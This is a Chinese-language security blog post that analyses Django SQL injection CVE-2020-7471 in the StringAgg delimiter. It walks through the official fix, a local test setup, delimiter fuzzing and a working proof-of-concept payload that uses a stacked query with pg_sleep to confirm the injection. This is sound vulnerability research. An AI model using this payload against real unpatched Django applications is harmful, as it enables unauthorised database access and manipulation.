Django分隔符SQL注入漏洞(CVE-2020-7471)

前阵子搞小项目有需求把django入了个门,今天看到了个新鲜的django注入漏洞,去了解了一下,不是太复杂,跟着别人的思路做个小文章。

漏洞原因

看官方的介绍。

Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.

漏洞点在聚合函数StringAgg的分隔符delimiter参数,接下来要思考如何去利用这个漏洞。

官方修复

细品官方的修复,毕竟如何修肯定存在它的道理。。。

看StringAgg模板的改动

1
2
3
4
def __init__(self, expression, delimiter, **extra):
#super().__init__(expression, delimiter=delimiter, **extra)
delimiter_expr = Value(str(delimiter))
super().__init__(expression, delimiter_expr, **extra)

分隔符使用Value做了处理,我们查看Value的源码

1
2
3
4
5
6
7
8
9
10
11
12
class Value(Expression):
"""Represent a wrapped value as a node within an expression."""
def __init__(self, value, output_field=None):
"""
Arguments:
* value: the value this expression represents. The value will be
added into the sql parameter list and properly quoted.
* output_field: an instance of the model field type that this
expression will return, such as IntegerField() or CharField().
"""
super().__init__(output_field=output_field)
self.value = value

经Value处理的参数会被加入到sql参数列表中,再由django的过滤机制处理。
其实说到底,漏洞成因就是没有对分隔符做好处理。那接下来我们需要思考如何去触发漏洞。

漏洞触发

首先要快速搭建测试环境,根据官方的说法安装存在漏洞的版本。

然后在服务器上用docker快速部署了一个postgresql。

1
docker run --name postgres -e POSTGRES_PASSWORD=123456 -p 45002:5432 -d postgres

配置django环境

1
2
3
django-admin startproject sqlvul_project
cd sqlvul_project
django-admin startapp test_app

注册我们的app,并配置好数据库

定义一个模型用于测试

记录变动和创建表结构

1
2
3
python manage.py migrate
python manage.py makemigrations test_app
python manage.py migrate test_app

下面测试漏洞如何触发,参考了别人的文章,这里按着思路来。
首先创建一些测试数据。
操作数据库可以使用django提供的shell

1
2
3
4
5
python manage.py shell
>>> from test_app.models import testModel
>>> testModel.objects.all()
<QuerySet [<testModel: testModel object (1)>]>
>>>

添加数据

1
>>> testModel.objects.create(field1="1",field2="a")

这样有些麻烦,而且我们要写的是poc,那就写一个数据初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
django.setup()

from test_app.models import testModel


def initdb():
data = [('1', 'a'), ('1', 'b'), ('1', 'c'), ('2','d'),('2','e')]
for field1, field2 in data:
testModel.objects.get_or_create(field1=field1, field2=field2)

数据库初始化自动添加数据,这个get_or_create()比create()好,细品。
接下来要找出究竟什么分隔符可以触发漏洞。
但要先搞明白StringAgg聚合函数的用法,直接看官方文档。
https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/

参考的文章使用的是annotate()分组查询,本文采用的是aggregate()聚合查询,相对简单一些,区别可以自行了解,不在本文讨论范围。

1
2
3
print(testModel.objects.aggregate(result=StringAgg("field1", delimiter=",")))

{'result': '1,1,1,2,2'}

现在可以去测试什么分隔符可以触发漏洞了,直接贴出fuzzing代码。

1
2
3
4
5
6
7
8
9
def fuzz():
# FUZZ delimiter
error_c = []
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
try:
results = testModel.objects.aggregate(result=StringAgg("field1", delimiter=c))
except:
error_c.append(c)
print("[+]Fuzz漏洞分隔符:",error_c)

运行结果

1
[+]Fuzz漏洞分隔符: ['%', "'"]

结合经验很容易就知道是单引号触发了漏洞。
查看报错,发现是在最后的sql执行时出现了异常。

DEBUG模式跟进调用栈查看最后的sql语句是怎么样的。

处理一下语句,去掉转义。

1
SELECT STRING_AGG("test_app_testmodel"."field1", ''') AS "result" FROM "test_app_testmodel";

接下来就是欢乐的构造环节。
在参考文章中是使用了limit来证明漏洞存在,这里利用pg_sleep()构造一个延时来证明漏洞存在。

1
2
3
4
SELECT STRING_AGG("test_app_testmodel"."field1", ',') AS "result" FROM "test_app_testmodel";SELECT pg_sleep(2)--') AS "result" FROM "test_app_testmodel";

payload:
,') AS "result" FROM "test_app_testmodel";SELECT pg_sleep(2)--

直接写poc。

1
2
3
4
5
6
def poc():
payload = ',\') AS "result" FROM "test_app_testmodel";SELECT pg_sleep(5)--'
start = time.time()
print("[+]注入查询结果:",testModel.objects.aggregate(result=StringAgg("field1", delimiter=payload)))
end = time.time()
print("[+]注入pg_sleep(5)后的SQL执行耗时:",end - start)

运行结果

1
2
[+]注入查询结果: {'result': ''}
[+]注入pg_sleep(5)后的SQL执行耗时: 5.031138181686401

漏洞证明完毕。

结尾

先贴出参考并表以致敬。
https://github.com/Saferman/CVE-2020-7471
文中代码基于此小改。
本文代码https://github.com/SNCKER/CVE-2020-7471

随便说两句。本文的注入算是堆叠注入,原本是使用了联合查询注入union select version(),但是version()的数据并不能显示出来,所以采用了延时来证明漏洞。对漏洞的看法,个人感觉危害不大,因为在真实环境中,拥有高级搜索功能且支持用户自定义分隔符的环境还是比较少见的(或者是本人见识少)。倒是可以基于此搭建漏洞靶机,很有想法,有空再实现一下。

若本文的说法有误或不严谨,可联系本人更正,谢谢!

文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/02/18/Django分隔符注入漏洞(CVE-2020-7471)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog